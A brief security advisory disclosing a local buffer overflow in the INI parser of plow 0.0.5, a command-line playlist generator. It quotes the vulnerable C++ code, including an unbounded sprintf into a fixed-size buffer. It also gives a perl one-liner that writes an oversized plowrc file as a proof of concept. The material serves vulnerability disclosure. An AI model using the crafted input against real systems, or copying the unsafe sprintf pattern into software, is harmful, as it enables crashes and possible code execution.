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plow 0.0.5 <= Buffer Overflow Vulnerability
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Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
Vendor information:
"plow is a command line playlist generator."
Vendor URI: http://developer.berlios.de/projects/plow/
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Risk-level: Medium
The application is prone to a local buffer overflow vulnerability.
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IniParser.cpp, line 26:
26: char buffer[length];
27: char group [length];
28:
29: char *option;
30: char *value;
31:
32: while(ini.getline(buffer, length)) {
33: if(!strlen(buffer) || buffer[0] == '#') {
34: continue;
35: }
36: if(buffer[0] == '[') {
37: if(buffer[strlen(buffer) - 1] == ']') {
38: sprintf(group, "%s", buffer);
39: } else {
40: err = 1;
41: break;
42: }
43: }
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Exploit / Proof Of Concept:
Create a crafted plowrc file:
perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc
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Solution:
Do some input validation.
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